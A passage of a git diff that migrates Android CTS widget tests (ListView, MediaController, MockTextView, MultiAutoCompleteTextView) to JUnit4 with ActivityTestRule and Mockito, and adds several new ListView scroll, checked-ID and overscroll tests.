+        mActivityRule.runOnUiThread(childView1::requestFocus);
+        PollingCheck.waitFor(1000, childView1::isFocused);
 
         // Make sure that ListView#requestLayout() is optimized when nothing is changed.
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, listView, listView::requestLayout);
-        assertEquals(childView0, listView.getChildAt(0));
-        assertEquals(childView1, listView.getChildAt(1));
-        assertEquals(childView2, listView.getChildAt(2));
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, mListView::requestLayout);
+        assertEquals(childView0, mListView.getChildAt(0));
+        assertEquals(childView1, mListView.getChildAt(1));
+        assertEquals(childView2, mListView.getChildAt(2));
     }
 
-    private static final int EXACTLY_500_PX = MeasureSpec.makeMeasureSpec(500, MeasureSpec.EXACTLY);
-
     @MediumTest
-    public void testJumpDrawables() {
+    @Test
+    public void testJumpDrawables() throws Throwable {
         FrameLayout layout = new FrameLayout(mActivity);
         ListView listView = new ListView(mActivity);
         ArrayAdapterWithMockDrawable adapter = new ArrayAdapterWithMockDrawable(mActivity);
@@ -902,7 +953,7 @@
         }
 
         // Initial state should jump exactly once during attach.
-        mInstrumentation.runOnMainSync(() -> {
+        mActivityRule.runOnUiThread(() -> {
             listView.setAdapter(adapter);
             layout.addView(listView, new LayoutParams(LayoutParams.MATCH_PARENT, 200));
             mActivity.setContentView(layout);
@@ -913,7 +964,7 @@
         verify(firstBackground, times(1)).jumpToCurrentState();
 
         // Lay out views without recycling. This should not jump again.
-        mInstrumentation.runOnMainSync(() -> listView.requestLayout());
+        mActivityRule.runOnUiThread(() -> listView.requestLayout());
         mInstrumentation.waitForIdleSync();
         assertSame(firstBackground, listView.getChildAt(0).getBackground());
         verify(firstBackground, times(1)).jumpToCurrentState();
@@ -935,7 +986,7 @@
         // Scroll so that we have new views on screen. This should jump at
         // least once when the view is recycled in a new position (but may be
         // more if it was recycled from a view that was previously on-screen).
-        mInstrumentation.runOnMainSync(() -> listView.setSelection(targetPosition));
+        mActivityRule.runOnUiThread(() -> listView.setSelection(targetPosition));
         mInstrumentation.waitForIdleSync();
 
         View lastChild = listView.getChildAt(listView.getChildCount() - 1);
@@ -947,7 +998,7 @@
         // Scroll back to the top. This should jump at least once when the view
         // is recycled in a new position (but may be more if it was recycled
         // from a view that was previously on-screen).
-        mInstrumentation.runOnMainSync(() -> listView.setSelection(0));
+        mActivityRule.runOnUiThread(() -> listView.setSelection(0));
         mInstrumentation.waitForIdleSync();
 
         View firstChild = listView.getChildAt(0);
@@ -1044,17 +1095,22 @@
 
         @Override
         public View getView(int position, View convertView, ViewGroup parent) {
-            return views.get(position);
+            View result = views.get(position);
+            ViewGroup.LayoutParams lp = new ViewGroup.LayoutParams(
+                    ViewGroup.LayoutParams.MATCH_PARENT, 40);
+            result.setLayoutParams(lp);
+            return result;
         }
     }
 
-    public void testTransientStateUnstableIds() throws Exception {
+    @Test
+    public void testTransientStateUnstableIds() throws Throwable {
         final ListView listView = mListView;
         final ArrayList<String> items = new ArrayList<String>(Arrays.asList(mCountryList));
         final ArrayAdapter<String> adapter = new ArrayAdapter<String>(mActivity,
                 android.R.layout.simple_list_item_1, items);
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, listView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, listView,
                 () -> listView.setAdapter(adapter));
 
         final View oldItem = listView.getChildAt(2);
@@ -1062,7 +1118,7 @@
                 .getText();
         oldItem.setHasTransientState(true);
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, listView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, listView,
                 () -> {
                     adapter.remove(adapter.getItem(0));
                     adapter.notifyDataSetChanged();
@@ -1075,29 +1131,29 @@
         Assert.assertFalse(oldText.equals(newText));
     }
 
-    public void testTransientStateStableIds() throws Exception {
-        final ListView listView = mListView;
-        final ArrayList<String> items = new ArrayList<String>(Arrays.asList(mCountryList));
-        final StableArrayAdapter<String> adapter = new StableArrayAdapter<String>(mActivity,
+    @Test
+    public void testTransientStateStableIds() throws Throwable {
+        final ArrayList<String> items = new ArrayList<>(Arrays.asList(mCountryList));
+        final StableArrayAdapter<String> adapter = new StableArrayAdapter<>(mActivity,
                 android.R.layout.simple_list_item_1, items);
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, mListView,
-                () -> listView.setAdapter(adapter));
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
+                () -> mListView.setAdapter(adapter));
 
         final Object tag = new Object();
-        final View oldItem = listView.getChildAt(2);
+        final View oldItem = mListView.getChildAt(2);
         final CharSequence oldText = ((TextView) oldItem.findViewById(android.R.id.text1))
                 .getText();
         oldItem.setHasTransientState(true);
         oldItem.setTag(tag);
 
-        ViewTestUtils.runOnMainAndDrawSync(mInstrumentation, listView,
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
                 () -> {
                     adapter.remove(adapter.getItem(0));
                     adapter.notifyDataSetChanged();
                 });
 
-        final View newItem = listView.getChildAt(1);
+        final View newItem = mListView.getChildAt(1);
         final CharSequence newText = ((TextView) newItem.findViewById(android.R.id.text1))
                 .getText();
 
@@ -1121,4 +1177,136 @@
             return true;
         }
     }
+
+    @LargeTest
+    @Test
+    public void testSmoothScrollByOffset() throws Throwable {
+        final int itemCount = mLongCountryList.length;
+
+        mActivityRule.runOnUiThread(() -> mListView.setAdapter(mAdapter_longCountries));
+        mInstrumentation.waitForIdleSync();
+
+        assertEquals(0, mListView.getFirstVisiblePosition());
+
+        // If we're on a really big display, we might be in a situation where the position
+        // we're going to scroll to is already visible. In that case the logic in the rest
+        // of this test will never fire off a listener callback and then fail the test.
+        final int positionToScrollTo = itemCount - 10;
+        final int lastVisiblePosition = mListView.getLastVisiblePosition();
+        if (positionToScrollTo <= lastVisiblePosition) {
+            return;
+        }
+
+        // Register a scroll listener on our ListView. The listener will notify our latch
+        // when the "target" item comes into view. If that never happens, the latch will
+        // time out and fail the test.
+        final CountDownLatch latch = new CountDownLatch(1);
+        mListView.setOnScrollListener(new AbsListView.OnScrollListener() {
+            @Override
+            public void onScrollStateChanged(AbsListView view, int scrollState) {
+            }
+
+            @Override
+            public void onScroll(AbsListView view, int firstVisibleItem, int visibleItemCount,
+                    int totalItemCount) {
+                if ((positionToScrollTo >= firstVisibleItem) &&
+                        (positionToScrollTo <= (firstVisibleItem + visibleItemCount))) {
+                    latch.countDown();
+                }
+            }
+        });
+        int offset = positionToScrollTo - lastVisiblePosition;
+        mActivityRule.runOnUiThread(() -> mListView.smoothScrollByOffset(offset));
+
+        boolean result = false;
+        try {
+            result = latch.await(20, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            // ignore
+        }
+        assertTrue("Timed out while waiting for the target view to be scrolled into view", result);
+    }
+
+    private static class PositionArrayAdapter<T> extends ArrayAdapter<T> {
+        public PositionArrayAdapter(Context context, int resource, List<T> objects) {
+            super(context, resource, objects);
+        }
+
+        @Override
+        public long getItemId(int position) {
+            return position;
+        }
+
+        @Override
+        public boolean hasStableIds() {
+            return true;
+        }
+    }
+
+    @Test
+    public void testGetCheckItemIds() throws Throwable {
+        final ArrayList<String> items = new ArrayList<>(Arrays.asList(mCountryList));
+        final ArrayAdapter<String> adapter = new PositionArrayAdapter<>(mActivity,
+                android.R.layout.simple_list_item_1, items);
+
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
+                () -> mListView.setAdapter(adapter));
+
+        mActivityRule.runOnUiThread(
+                () -> mListView.setChoiceMode(ListView.CHOICE_MODE_MULTIPLE));
+        assertTrue(mListView.getCheckItemIds().length == 0);
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(2, true));
+        TestUtils.assertIdentical(new long[] { 2 }, mListView.getCheckItemIds());
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(4, true));
+        TestUtils.assertIdentical(new long[] { 2, 4 }, mListView.getCheckItemIds());
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(2, false));
+        TestUtils.assertIdentical(new long[] { 4 }, mListView.getCheckItemIds());
+
+        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(4, false));
+        assertTrue(mListView.getCheckItemIds().length == 0);
+    }
+
+    @Test
+    public void testAccessOverscrollHeader() throws Throwable {
+        final Drawable overscrollHeaderDrawable = spy(new ColorDrawable(Color.YELLOW));
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
+            mListView.setAdapter(mAdapter_longCountries);
+            mListView.setOverscrollHeader(overscrollHeaderDrawable);
+        });
+
+        assertEquals(overscrollHeaderDrawable, mListView.getOverscrollHeader());
+        verify(overscrollHeaderDrawable, never()).draw(any(Canvas.class));
+
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
+                () -> mListView.setScrollY(-mListView.getHeight() / 2));
+
+        verify(overscrollHeaderDrawable, atLeastOnce()).draw(any(Canvas.class));
+    }
+
+    @Test
+    public void testAccessOverscrollFooter() throws Throwable {
+        final Drawable overscrollFooterDrawable = spy(new ColorDrawable(Color.MAGENTA));
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView, () -> {
+            // Configure ListView to automatically scroll to the selected item
+            mListView.setStackFromBottom(true);
+            mListView.setTranscriptMode(AbsListView.TRANSCRIPT_MODE_ALWAYS_SCROLL);
+
+            mListView.setAdapter(mAdapter_longCountries);
+            mListView.setOverscrollFooter(overscrollFooterDrawable);
+
+            // Set selection to the last item
+            mListView.setSelection(mAdapter_longCountries.getCount() - 1);
+        });
+
+        assertEquals(overscrollFooterDrawable, mListView.getOverscrollFooter());
+        verify(overscrollFooterDrawable, never()).draw(any(Canvas.class));
+
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mListView,
+                () -> mListView.setScrollY(mListView.getHeight() / 2));
+
+        verify(overscrollFooterDrawable, atLeastOnce()).draw(any(Canvas.class));
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/MediaControllerCtsActivity.java b/tests/tests/widget/src/android/widget/cts/MediaControllerCtsActivity.java
index ac8f100..ffbc3af 100644
--- a/tests/tests/widget/src/android/widget/cts/MediaControllerCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/MediaControllerCtsActivity.java
@@ -19,7 +19,6 @@
 import android.app.Activity;
 import android.os.Bundle;
 import android.widget.MediaController;
-
 import android.widget.cts.R;
 
 /**
diff --git a/tests/tests/widget/src/android/widget/cts/MediaControllerTest.java b/tests/tests/widget/src/android/widget/cts/MediaControllerTest.java
index 2c60a91..386c3d9 100644
--- a/tests/tests/widget/src/android/widget/cts/MediaControllerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MediaControllerTest.java
@@ -16,25 +16,34 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
-
-import org.xmlpull.v1.XmlPullParser;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.mock;
 
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.cts.util.PollingCheck;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.MotionEvent;
 import android.view.View;
-import android.view.View.OnClickListener;
 import android.widget.MediaController;
 import android.widget.VideoView;
 
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
@@ -42,25 +51,25 @@
 /**
  * Test {@link MediaController}.
  */
-public class MediaControllerTest extends
-        ActivityInstrumentationTestCase2<MediaControllerCtsActivity> {
-    private MediaController mMediaController;
-    private Activity mActivity;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class MediaControllerTest {
     private Instrumentation mInstrumentation;
-    private static final long DEFAULT_TIMEOUT = 3000;
+    private Activity mActivity;
+    private MediaController mMediaController;
 
-    public MediaControllerTest() {
-        super("android.widget.cts", MediaControllerCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<MediaControllerCtsActivity> mActivityRule =
+            new ActivityTestRule<>(MediaControllerCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mInstrumentation = getInstrumentation();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         new MediaController(mActivity, null);
 
@@ -80,6 +89,7 @@
      *
      */
     @UiThreadTest
+    @Test
     public void testMediaController() {
         mMediaController = new MediaController(mActivity);
         final MockMediaPlayerControl mediaPlayerControl = new MockMediaPlayerControl();
@@ -109,12 +119,10 @@
         assertTrue(mMediaController.isShowing());
     }
 
-    public void testShow() {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mMediaController = new MediaController(mActivity, true);
-            }
-        });
+    @Test
+    public void testShow() throws Throwable {
+        mActivityRule.runOnUiThread(
+                () -> mMediaController = new MediaController(mActivity, true));
         mInstrumentation.waitForIdleSync();
         assertFalse(mMediaController.isShowing());
 
@@ -125,48 +133,29 @@
                 (VideoView) mActivity.findViewById(R.id.mediacontroller_videoview);
         mMediaController.setAnchorView(videoView);
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mMediaController.show();
-            }
-        });
+        mActivityRule.runOnUiThread(mMediaController::show);
         mInstrumentation.waitForIdleSync();
         assertTrue(mMediaController.isShowing());
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mMediaController.hide();
-            }
-        });
+        mActivityRule.runOnUiThread(mMediaController::hide);
         mInstrumentation.waitForIdleSync();
         assertFalse(mMediaController.isShowing());
 
         final int timeout = 2000;
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mMediaController.show(timeout);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mMediaController.show(timeout));
+
         mInstrumentation.waitForIdleSync();
         assertTrue(mMediaController.isShowing());
 
         // isShowing() should return false, but MediaController still shows, this may be a bug.
-        new PollingCheck(timeout + 500) {
-            @Override
-            protected boolean check() {
-                return mMediaController.isShowing();
-            }
-        }.run();
+        PollingCheck.waitFor(500, mMediaController::isShowing);
     }
 
     private String prepareSampleVideo() {
-        InputStream source = null;
-        OutputStream target = null;
         final String VIDEO_NAME   = "testvideo.3gp";
 
-        try {
-            source = mActivity.getResources().openRawResource(R.raw.testvideo);
-            target = mActivity.openFileOutput(VIDEO_NAME, Context.MODE_PRIVATE);
+        try (InputStream source = mActivity.getResources().openRawResource(R.raw.testvideo);
+             OutputStream target = mActivity.openFileOutput(VIDEO_NAME, Context.MODE_PRIVATE)) {
 
             final byte[] buffer = new byte[1024];
             for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
@@ -174,28 +163,14 @@
             }
         } catch (final IOException e) {
             fail(e.getMessage());
-        } finally {
-            try {
-                if (source != null) {
-                    source.close();
-                }
-                if (target != null) {
-                    target.close();
-                }
-            } catch (final IOException ignored) {
-                // Ignore the IOException.
-            }
         }
 
         return mActivity.getFileStreamPath(VIDEO_NAME).getAbsolutePath();
     }
 
-    public void testOnTrackballEvent() {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mMediaController = new MediaController(mActivity);
-            }
-        });
+    @Test
+    public void testOnTrackballEvent() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mMediaController = new MediaController(mActivity));
         mInstrumentation.waitForIdleSync();
         final MockMediaPlayerControl mediaPlayerControl = new MockMediaPlayerControl();
         mMediaController.setMediaPlayer(mediaPlayerControl);
@@ -203,11 +178,9 @@
         final VideoView videoView =
                 (VideoView) mActivity.findViewById(R.id.mediacontroller_videoview);
         videoView.setMediaController(mMediaController);
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                videoView.setVideoPath(prepareSampleVideo());
-                videoView.requestFocus();
-            }
+        mActivityRule.runOnUiThread(() -> {
+            videoView.setVideoPath(prepareSampleVideo());
+            videoView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
 
@@ -228,6 +201,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetEnabled() {
         final View videoView = mActivity.findViewById(R.id.mediacontroller_videoview);
         final MockMediaPlayerControl mediaPlayerControl = new MockMediaPlayerControl();
@@ -236,9 +210,9 @@
         mMediaController.setAnchorView(videoView);
         mMediaController.setMediaPlayer(mediaPlayerControl);
 
-        final MockOnClickListener next = new MockOnClickListener();
-        final MockOnClickListener prev = new MockOnClickListener();
-        mMediaController.setPrevNextListeners(next, prev);
+        final View.OnClickListener mockNextClickListener = mock(View.OnClickListener.class);
+        final View.OnClickListener mockPrevClickListener = mock(View.OnClickListener.class);
+        mMediaController.setPrevNextListeners(mockNextClickListener, mockPrevClickListener);
 
         mMediaController.show();
 
@@ -250,6 +224,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetPrevNextListeners() {
         final View videoView = mActivity.findViewById(R.id.mediacontroller_videoview);
         final MockMediaPlayerControl mediaPlayerControl = new MockMediaPlayerControl();
@@ -258,20 +233,15 @@
         mMediaController.setAnchorView(videoView);
         mMediaController.setMediaPlayer(mediaPlayerControl);
 
-        final MockOnClickListener next = new MockOnClickListener();
-        final MockOnClickListener prev = new MockOnClickListener();
-        mMediaController.setPrevNextListeners(next, prev);
+        final View.OnClickListener mockNextClickListener = mock(View.OnClickListener.class);
+        final View.OnClickListener mockPrevClickListener = mock(View.OnClickListener.class);
+        mMediaController.setPrevNextListeners(mockNextClickListener, mockPrevClickListener);
     }
 
     private static class MockMediaPlayerControl implements MediaController.MediaPlayerControl {
-        private boolean mIsPlayingCalled = false;
         private boolean mIsPlaying = false;
         private int mPosition = 0;
 
-        public boolean hasIsPlayingCalled() {
-            return mIsPlayingCalled;
-        }
-
         public void start() {
             mIsPlaying = true;
         }
@@ -293,7 +263,6 @@
         }
 
         public boolean isPlaying() {
-            mIsPlayingCalled = true;
             return mIsPlaying;
         }
 
@@ -318,16 +287,4 @@
             return 0;
         }
     }
-
-    private static class MockOnClickListener implements OnClickListener {
-        private boolean mOnClickCalled = false;
-
-        public boolean hasOnClickCalled() {
-            return mOnClickCalled;
-        }
-
-        public void onClick(View v) {
-            mOnClickCalled = true;
-        }
-    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/MockLinearLayout.java b/tests/tests/widget/src/android/widget/cts/MockLinearLayout.java
deleted file mode 100644
index da1937e..0000000
--- a/tests/tests/widget/src/android/widget/cts/MockLinearLayout.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.widget.cts;
-
-import android.content.Context;
-import android.graphics.Rect;
-import android.util.AttributeSet;
-import android.view.ViewParent;
-import android.widget.LinearLayout;
-
-public class MockLinearLayout extends LinearLayout {
-
-    public boolean mIsInvalidateChildInParentCalled;
-
-    public MockLinearLayout(Context context, AttributeSet attrs) {
-        super(context, attrs);
-    }
-
-    public MockLinearLayout(Context context) {
-        super(context);
-    }
-
-    @Override
-    public ViewParent invalidateChildInParent(int[] location, Rect dirty) {
-        mIsInvalidateChildInParentCalled = true;
-        return super.invalidateChildInParent(location, dirty);
-    }
-
-}
-
diff --git a/tests/tests/widget/src/android/widget/cts/MockTextView.java b/tests/tests/widget/src/android/widget/cts/MockTextView.java
index 977e4b2..ffdcfde 100644
--- a/tests/tests/widget/src/android/widget/cts/MockTextView.java
+++ b/tests/tests/widget/src/android/widget/cts/MockTextView.java
@@ -16,208 +16,103 @@
 
 package android.widget.cts;
 
+import android.annotation.Nullable;
 import android.content.Context;
-import android.graphics.Canvas;
-import android.graphics.Rect;
 import android.graphics.drawable.Drawable;
-import android.os.Bundle;
 import android.text.method.MovementMethod;
 import android.util.AttributeSet;
-import android.view.ContextMenu;
-import android.view.KeyEvent;
 import android.widget.TextView;
 
 public class MockTextView extends TextView {
-    private boolean mHasCalledOnCreateContextMenu;
-    private boolean mHasCalledOnFocusChanged;
-    private boolean mHasCalledOnMeasure;
-    private boolean mHasCalledOnTextChanged;
-    private boolean mHasCalledDrawableStateChanged;
-    private boolean mHasCalledOnWindowFocusChanged;
-    private boolean mHasCalledOnPrivateIMECommand;
-    private boolean mHasCalledOnKeyMultiple;
 
     public MockTextView(Context context) {
         super(context);
     }
 
-    public MockTextView(Context context, AttributeSet attrs) {
+    public MockTextView(Context context, @Nullable AttributeSet attrs) {
         super(context, attrs);
     }
 
-    public MockTextView(Context context, AttributeSet attrs, int defStyle) {
-        super(context, attrs, defStyle);
+    public MockTextView(Context context, @Nullable AttributeSet attrs, int defStyleAttr) {
+        super(context, attrs, defStyleAttr);
     }
 
-    public boolean hasCalledOnWindowFocusChanged() {
-        return mHasCalledOnWindowFocusChanged;
-    }
-
-    public boolean hasCalledOnCreateContextMenu() {
-        return mHasCalledOnCreateContextMenu;
-    }
-
-    public boolean hasCalledDrawableStateChanged() {
-        return mHasCalledDrawableStateChanged;
-    }
-
-    public boolean hasCalledOnFocusChanged() {
-        return mHasCalledOnFocusChanged;
-    }
-
-    public boolean hasCalledOnMeasure() {
-        return mHasCalledOnMeasure;
-    }
-
-    public boolean hasCalledOnTextChanged() {
-        return mHasCalledOnTextChanged;
-    }
-
-    public boolean hasCalledOnPrivateIMECommand() {
-        return mHasCalledOnPrivateIMECommand;
-    }
-
-    public boolean hasCalledOnKeyMultiple(){
-        return mHasCalledOnKeyMultiple;
-    }
-
-    public void reset() {
-        mHasCalledOnWindowFocusChanged = false;
-        mHasCalledDrawableStateChanged = false;
-        mHasCalledOnCreateContextMenu = false;
-        mHasCalledOnFocusChanged = false;
-        mHasCalledOnMeasure = false;
-        mHasCalledOnTextChanged = false;
-        mHasCalledOnPrivateIMECommand = false;
-        mHasCalledOnKeyMultiple = false;
-    }
-
+    @Override
     public int computeHorizontalScrollRange() {
         return super.computeHorizontalScrollRange();
     }
 
+    @Override
     public int computeVerticalScrollRange() {
         return super.computeVerticalScrollRange();
     }
 
     @Override
-    protected void drawableStateChanged() {
-        super.drawableStateChanged();
-        mHasCalledDrawableStateChanged = true;
-    }
-
     public boolean getDefaultEditable() {
         return super.getDefaultEditable();
     }
 
+    @Override
     public MovementMethod getDefaultMovementMethod() {
         return super.getDefaultMovementMethod();
     }
 
     @Override
-    protected void onCreateContextMenu(ContextMenu menu) {
-        super.onCreateContextMenu(menu);
-        mHasCalledOnCreateContextMenu = true;
-    }
-
-    @Override
-    protected void onDetachedFromWindow() {
-        super.onDetachedFromWindow();
-    }
-
-    @Override
-    protected void onDraw(Canvas canvas) {
-        super.onDraw(canvas);
-    }
-
-    @Override
-    protected void onFocusChanged(boolean focused, int direction, Rect previouslyFocusedRect) {
-        super.onFocusChanged(focused, direction, previouslyFocusedRect);
-        mHasCalledOnFocusChanged = true;
-    }
-
-    @Override
-    public boolean onKeyMultiple(int keyCode, int repeatCount, KeyEvent event) {
-        mHasCalledOnKeyMultiple = true;
-        return super.onKeyMultiple(keyCode, repeatCount, event);
-    }
-
-    @Override
-    protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
-        super.onMeasure(widthMeasureSpec, heightMeasureSpec);
-        mHasCalledOnMeasure = true;
-    }
-
-    @Override
-    protected void onTextChanged(CharSequence text, int start, int before, int after) {
-        super.onTextChanged(text, start, before, after);
-        mHasCalledOnTextChanged = true;
-    }
-
     public boolean setFrame(int l, int t, int r, int b) {
         return super.setFrame(l, t, r, b);
     }
 
     @Override
-    public void onWindowFocusChanged(boolean hasWindowFocus) {
-        super.onWindowFocusChanged(hasWindowFocus);
-        mHasCalledOnWindowFocusChanged = true;
-    }
-
     public float getLeftFadingEdgeStrength() {
         return super.getLeftFadingEdgeStrength();
     }
 
+    @Override
     public float getRightFadingEdgeStrength() {
         return super.getRightFadingEdgeStrength();
     }
 
     @Override
-    public boolean onPrivateIMECommand(String action, Bundle data) {
-        mHasCalledOnPrivateIMECommand = true;
-        return super.onPrivateIMECommand(action, data);
-    }
-
-    public int getFrameLeft() {
-        return getLeft();
-    }
-
-    public int getFrameTop() {
-        return getTop();
-    }
-
-    public int getFrameRight() {
-        return getRight();
-    }
-
-    public int getFrameBottom() {
-        return getBottom();
-    }
-
     public int getBottomPaddingOffset() {
         return super.getBottomPaddingOffset();
     }
 
+    @Override
     public int getLeftPaddingOffset() {
         return super.getLeftPaddingOffset();
     }
 
+    @Override
     public int getRightPaddingOffset() {
         return super.getRightPaddingOffset();
     }
 
+    @Override
     public int getTopPaddingOffset() {
         return super.getTopPaddingOffset();
     }
 
+    @Override
     public boolean isPaddingOffsetRequired() {
         return super.isPaddingOffsetRequired();
     }
 
+    @Override
+    public void onSelectionChanged(int selStart, int selEnd) {
+        super.onSelectionChanged(selStart, selEnd);
+    }
+
+    @Override
+    public void drawableStateChanged() {
+        super.drawableStateChanged();
+    }
+
+    @Override
     public boolean verifyDrawable(Drawable who) {
         return super.verifyDrawable(who);
     }
 
+    @Override
     public int computeVerticalScrollExtent() {
         return super.computeVerticalScrollExtent();
     }
diff --git a/tests/tests/widget/src/android/widget/cts/MockURLSpanTestActivity.java b/tests/tests/widget/src/android/widget/cts/MockURLSpanTestActivity.java
index 3d27f9a..131d2fc 100644
--- a/tests/tests/widget/src/android/widget/cts/MockURLSpanTestActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/MockURLSpanTestActivity.java
@@ -16,8 +16,6 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
 
@@ -25,9 +23,19 @@
  * A Mock application for {@link URLSpan} test.
  */
 public class MockURLSpanTestActivity extends Activity {
+    public static final String KEY_PARAM = "MockURLSpanTestActivity.param";
+
+    private String mParam;
+
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
+
+        mParam = getIntent().getStringExtra(KEY_PARAM);
         setContentView(R.layout.urlspan_layout);
     }
+
+    public String getParam() {
+        return mParam;
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewCtsActivity.java b/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewCtsActivity.java
index b5de67b..c36ba77 100644
--- a/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewCtsActivity.java
@@ -16,10 +16,9 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.cts.R;
 
 /**
  * A minimal application for MultiAutoCompleteTextView test.
diff --git a/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewTest.java b/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewTest.java
index 5c18030..4075a83 100644
--- a/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewTest.java
@@ -16,88 +16,95 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
-
-import org.xmlpull.v1.XmlPullParser;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
 
 import android.app.Activity;
 import android.content.Context;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.SpannableString;
 import android.text.Spanned;
 import android.text.TextUtils;
-import android.util.AttributeSet;
-import android.util.Xml;
 import android.view.KeyEvent;
 import android.widget.ArrayAdapter;
+import android.widget.AutoCompleteTextView;
 import android.widget.Filter;
 import android.widget.MultiAutoCompleteTextView;
 import android.widget.MultiAutoCompleteTextView.CommaTokenizer;
 import android.widget.MultiAutoCompleteTextView.Tokenizer;
 
-public class MultiAutoCompleteTextViewTest extends ActivityInstrumentationTestCase2
-        <MultiAutoCompleteTextViewCtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.invocation.InvocationOnMock;
+import org.mockito.stubbing.Answer;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class MultiAutoCompleteTextViewTest {
+    private Activity mActivity;
     private MultiAutoCompleteTextView mMultiAutoCompleteTextView_country;
     private MultiAutoCompleteTextView mMultiAutoCompleteTextView_name;
-    private Activity mActivity;
 
-    public MultiAutoCompleteTextViewTest() {
-        super("android.widget.cts", MultiAutoCompleteTextViewCtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<MultiAutoCompleteTextViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(MultiAutoCompleteTextViewCtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
